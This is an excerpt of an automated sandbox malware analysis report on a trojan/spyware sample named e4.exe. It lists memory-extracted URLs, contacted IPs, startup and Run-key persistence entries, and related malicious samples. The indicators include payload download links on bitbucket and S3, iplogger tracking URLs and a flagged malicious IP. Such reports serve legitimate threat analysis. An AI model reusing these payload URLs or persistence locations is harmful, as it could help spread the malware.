http://tempuri.org/Entity/Id2Response	e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr	e4.exe	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1	e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id21Response	e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap	e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID	e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret	e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted	e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence	e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/fault	e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat	e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id15Response	e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000027.00000002.701085986.0000023F8D7D1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew	e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register	e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey	e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.ip.sb/ip	e4.exe	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel	e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	e4.exe, 00000000.00000002.546430561.000000000433B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1	e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id24Response	e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested	e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego	e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bitbucket.org/tilttilttilt/test1/downloads/CPU.zip02	TextOutputHost.exe, 0000000C.00000000.634114267.0000025702527000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing	e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000027.00000002.734031327.0000023F8D9E0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse	e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id5Response	e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns	e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id10Response	e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Renew	e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id8Response	e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bitbucket.org/Gp	TextOutputHost.exe, 0000000C.00000000.593410236.000002570241F000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.539022296.0000025702459000.00000004.00000020.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID	e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT	e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2006/02/addressingidentity	e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bbuseruploads.s3.amazonaws.com/e8466680-8c82-495b-9e3c-2c79f82869ce/downloads/7737de24-30d9-	System.exe, 00000014.00000003.628228126.000001F1F9BBD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bitbucket.org/tilttilttilt/test1/downloads/CPU.zip#	TextOutputHost.exe, 0000000C.00000000.633635413.00000257024D4000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000000.634114267.0000025702527000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey	e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false		high
https://iplogger.org/	TextOutputHost.exe, 0000000C.00000000.633635413.00000257024D4000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000002.699733299.000001F1F7D7D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bitbucket.org/.exe6#p	TextOutputHost.exe, 0000000C.00000000.634114267.0000025702527000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback	e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT	e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bitbucket.org/tilttilttilt/test1/downloads/CPU.zip3	TextOutputHost.exe, 0000000C.00000000.633635413.00000257024D4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.discordapp.com4	e4.exe, 00000000.00000002.541546450.0000000003FB1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/06/addressingex	e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce	e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse	e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bitbucket.org/tilttilttilt/test1/downloads/UpSys.exey	TextOutputHost.exe, 0000000C.00000003.531851757.00000257024D4000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.538816631.00000257024D4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510	e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false		high
http://cdn.discordapp.com	e4.exe, 00000000.00000002.541573181.0000000003FB6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://iplogger.org/1fEwd7j	TextOutputHost.exe, 0000000C.00000000.594626278.000002570248D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id13Response	e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif	e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed	e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1	e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1	e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty	e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct	e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement	e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT	e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	e4.exe, 00000000.00000002.546357851.0000000004324000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.552504535.0000000005071000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.549434824.0000000004EFA000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.546189410.00000000042FE000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.543505442.000000000416D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://web-security-reports.services.atlassian.com/csp-report/bb-website	TextOutputHost.exe, 0000000C.00000003.549117265.000002570253E000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.553277214.0000025702532000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.531851757.00000257024D4000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.586493286.000002570255C000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.531587138.0000025702497000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.532039017.00000257024F0000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000003.664018957.000001F1F9BE2000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000003.663818875.000001F1F9BAD000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000003.597664422.000001F1F9BC0000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000003.597589986.000001F1F9BB9000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000003.661745598.000001F1F9C11000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000003.628005021.000001F1F9BCD000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000002.700997638.000001F1F9BAB000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000003.662504478.000001F1F9BAB000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000003.628228126.000001F1F9BBD000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap	e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2002/12/policy	e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id22Response	e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.541424977.0000000003F95000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bitbucket.org/.exeZ	TextOutputHost.exe, 0000000C.00000000.634114267.0000025702527000.00000004.00000020.00020000.00000000.sdmp	false		high
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	e4.exe, 00000000.00000002.546357851.0000000004324000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.552504535.0000000005071000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.549434824.0000000004EFA000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.546189410.00000000042FE000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.543505442.000000000416D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue	e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false		high
http://iplogger.org/1fEwd7a/	System.exe, 00000014.00000002.694042345.000001F1F7C9B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext	e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/Issue	e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/spnego	e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc	e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id18Response	e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd	e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id3Response	e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/rm	e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://iplogger.org/1fEwd7u	System.exe, 00000014.00000002.699733299.000001F1F7D7D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence	e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/actor/next	e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	e4.exe, 00000000.00000002.546357851.0000000004324000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.552504535.0000000005071000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.549434824.0000000004EFA000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.546189410.00000000042FE000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.543505442.000000000416D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary	e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id9	e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id8	e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id5	e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.192.141.1	bitbucket.org	United States	16509	AMAZON-02US	false
46.21.250.111	unknown	Ukraine	21100	ITLDC-NLUA	true
162.159.129.233	cdn.discordapp.com	United States	13335	CLOUDFLARENETUS	false
148.251.234.83	iplogger.org	Germany	24940	HETZNER-ASDE	false
52.217.195.249	s3-w.us-east-1.amazonaws.com	United States	16509	AMAZON-02US	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	35.0.0 Citrine
Analysis ID:	678697
Start date and time: 04/08/202213:35:11	2022-08-04 13:35:11 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 12m 31s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	e4.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	89
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@169/20@6/6
EGA Information:	Failed
HDC Information:	Successful, ratio: 100% (good quality ratio 50%) Quality average: 26% Quality standard deviation: 26%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Adjust boot time Enable AMSI

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, Conhost.exe, audiodg.exe, BackgroundTransferHost.exe, WerFault.exe, WMIADAP.exe, conhost.exe, backgroundTaskHost.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.189.173.20, 23.203.78.112
Excluded domains from analysis (whitelisted): www.bing.com, client.wns.windows.com, fs.microsoft.com, onedsblobprdwus15.westus.cloudapp.azure.com, tile-service.weather.microsoft.com, ctldl.windowsupdate.com, e15275.g.akamaiedge.net, arc.msn.com, licensing.mp.microsoft.com, store-images.s-microsoft.com, login.live.com, wildcard.weather.microsoft.com.edgekey.net, blobcollector.events.data.trafficmanager.net, img-prod-cms-rt-microsoft-com.akamaized.net, watson.telemetry.microsoft.com
Execution Graph export aborted for target System.exe, PID 5980 because there are no executed function
Execution Graph export aborted for target e4.exe, PID 632 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
13:36:56	API Interceptor	56x Sleep call for process: e4.exe modified
13:37:20	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\exe.lnk
13:37:23	API Interceptor	4x Sleep call for process: TextOutputHost.exe modified
13:37:25	API Interceptor	46x Sleep call for process: powershell.exe modified
13:37:44	API Interceptor	8x Sleep call for process: System.exe modified
13:38:30	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run WinNet C:\ProgramData\MicrosoftNetwork\System.exe
13:38:39	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\20220804

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
104.192.141.1	Purchase Inquiry_pdf.ppa	Get hash	malicious	Browse	bitbucket.org/!api/2.0/snippets/rikimartinplace/KMMe6p/84dd89e3da0a597f178af84b75fa301869bb9740/files/charlesfinal
	Purchase Inquiry_pdf.ppa	Get hash	malicious	Browse	bitbucket.org/!api/2.0/snippets/rikimartinplace/KMMe6p/84dd89e3da0a597f178af84b75fa301869bb9740/files/charlesfinal
	RFQ#20220613124723.ppa	Get hash	malicious	Browse	bitbucket.org/!api/2.0/snippets/rikimartinplace/rEEzox/303cc98eeee4e8ce0be2a39a1aec7973fa1d5a9f/files/centfinal
	Quotation.ppa	Get hash	malicious	Browse	bitbucket.org/!api/2.0/snippets/rikimartinplace/bkkdM5/d967ec385ca0c9659e1ddb22731d05b19661a471/files/nanafinal
	Quotation.ppa	Get hash	malicious	Browse	bitbucket.org/!api/2.0/snippets/rikimartinplace/bkkdM5/d967ec385ca0c9659e1ddb22731d05b19661a471/files/nanafinal
	pn6xLHVgz8.exe	Get hash	malicious	Browse	bitbucket.org/abobaajshdasdjk/zalupaaaaaaa/downloads/socks_protected.exe
	k8XfIrqzNR.exe	Get hash	malicious	Browse	bitbucket.org/abobaajshdasdjk/zalupaaaaaaa/downloads/socks_protected.exe
	qsJjHqJ7T0.exe	Get hash	malicious	Browse	bitbucket.org/abobaajshdasdjk/zalupaaaaaaa/downloads/socks_protected.exe
	AhB0i1fe7I.exe	Get hash	malicious	Browse	bitbucket.org/abobaajshdasdjk/zalupaaaaaaa/downloads/Taxao.exe
	cj6LIPaeUz.exe	Get hash	malicious	Browse	bitbucket.org/abobik141231321/download/downloads/main.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
bitbucket.org	bZRL42bYlO.exe	Get hash	malicious	Browse	104.192.141.1
	5E440E04F382464DB10245C9F730D64D839368EF763BB.exe	Get hash	malicious	Browse	104.192.141.1
	RFQ#20220711000.ppa	Get hash	malicious	Browse	104.192.141.1
	Genshin.exe	Get hash	malicious	Browse	104.192.141.1
	WB0wa5agdL.exe	Get hash	malicious	Browse	104.192.141.1
	TheOpen_140722.cps.exe	Get hash	malicious	Browse	104.192.141.1
	XGN98Zq3JB.exe	Get hash	malicious	Browse	104.192.141.1
	payment details.ppam	Get hash	malicious	Browse	104.192.141.1
	payment details.ppam	Get hash	malicious	Browse	104.192.141.1
	Quotation.ppam	Get hash	malicious	Browse	104.192.141.1
	Deposit Slip#19072022_07.ppam	Get hash	malicious	Browse	104.192.141.1
	Quotation.ppam	Get hash	malicious	Browse	104.192.141.1
	Quotation.ppam	Get hash	malicious	Browse	104.192.141.1
	Quotation.ppam	Get hash	malicious	Browse	104.192.141.1
	Inv-42092859-4.ppam	Get hash	malicious	Browse	104.192.141.1
	Inv-42092859-4.ppam	Get hash	malicious	Browse	104.192.141.1
	2459694049ABFE227DDCF5B4D813FE3AE8E1E9066DE52.exe	Get hash	malicious	Browse	104.192.141.1
	Order specifications.ppa	Get hash	malicious	Browse	104.192.141.1
	Order specifications.ppa	Get hash	malicious	Browse	104.192.141.1
	injector.exe	Get hash	malicious	Browse	104.192.141.1
s3-w.us-east-1.amazonaws.com	http://maclandalemaslyn.clickfunnels.com/optin1659370561566	Get hash	malicious	Browse	52.216.82.160
	https://www.cakeresume.com/s--U8vATth29qX4X2iNQCfeTg--/adobe-shared-file-aeb3fc	Get hash	malicious	Browse	54.231.196.113
	bZRL42bYlO.exe	Get hash	malicious	Browse	52.217.9.172
	5E440E04F382464DB10245C9F730D64D839368EF763BB.exe	Get hash	malicious	Browse	52.217.199.73
	https://www.amberjack.shop	Get hash	malicious	Browse	52.217.194.97
	Genshin.exe	Get hash	malicious	Browse	52.216.140.52
	http://network-support.us/landing/82ee6929-f398-4147-86f8-15e01db1d04d	Get hash	malicious	Browse	52.217.13.124
	http://phoneaddress.club/38UJgC	Get hash	malicious	Browse	52.217.86.236
	WB0wa5agdL.exe	Get hash	malicious	Browse	52.216.94.219
	TheOpen_140722.cps.exe	Get hash	malicious	Browse	52.216.237.67
	XGN98Zq3JB.exe	Get hash	malicious	Browse	54.231.132.65
	http://links.learn.traininngsonline.com/els/v2/L6Y6JPKGqSv/cWkxNjZ1NFR1TE1JdE5OMXppUHpGU3J4Nk9UTFNLcU9YdWlsZTNIOGxXa0VQeG1lUUhOM2tkZ1p1UllNQ2RjdzE4cUF2RTc5cVlDMHJyU2Q5a2cwT082aGNldEJKZUJ4S0/	Get hash	malicious	Browse	54.231.224.89
	http://muvicinerna.com/	Get hash	malicious	Browse	52.217.160.161
	https://www.cakeresume.com/s--8ZsQHPJtf_LHqgiEROjJsQ--/oil-field-center	Get hash	malicious	Browse	52.217.142.73
	http://oilfieldsscentre.com/	Get hash	malicious	Browse	52.217.72.76
	http://bluesquarepizza.com	Get hash	malicious	Browse	52.216.32.201
	https://michelebouzat.clickfunnels.com/optinqov4eu0t	Get hash	malicious	Browse	52.216.9.75
	http://www.cakeresume.com/s--rGUatfUIgKmIxzDDfvCtvQ--/sam-son-95649f	Get hash	malicious	Browse	52.217.96.204
	https://uber.certa.in	Get hash	malicious	Browse	52.217.194.249
	2459694049ABFE227DDCF5B4D813FE3AE8E1E9066DE52.exe	Get hash	malicious	Browse	54.231.170.225

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
AMAZON-02US	CDXkaVYU19.exe	Get hash	malicious	Browse	3.64.163.50
	https://angelaserenellifercamcomangelaserenellifercamcom.ubpages.com/freshgoods-52324976/	Get hash	malicious	Browse	3.69.136.55
	BraveBrowserSetup (1).exe	Get hash	malicious	Browse	52.84.106.116
	https://www.evernote.com/shard/s500/sh/3069c16f-e975-89c0-6718-16495958f9db/ed49c65f6568197334953a33fbd50b74	Get hash	malicious	Browse	52.84.106.15
	dZOYaciWmg.exe	Get hash	malicious	Browse	3.68.56.232
	https://heyzine.com/flip-book/708abe67ee.html	Get hash	malicious	Browse	35.157.30.249
	https://indd.adobe.com/view/cdb895aa-d31f-49f1-9274-f61c4a9c1e79	Get hash	malicious	Browse	52.84.106.34
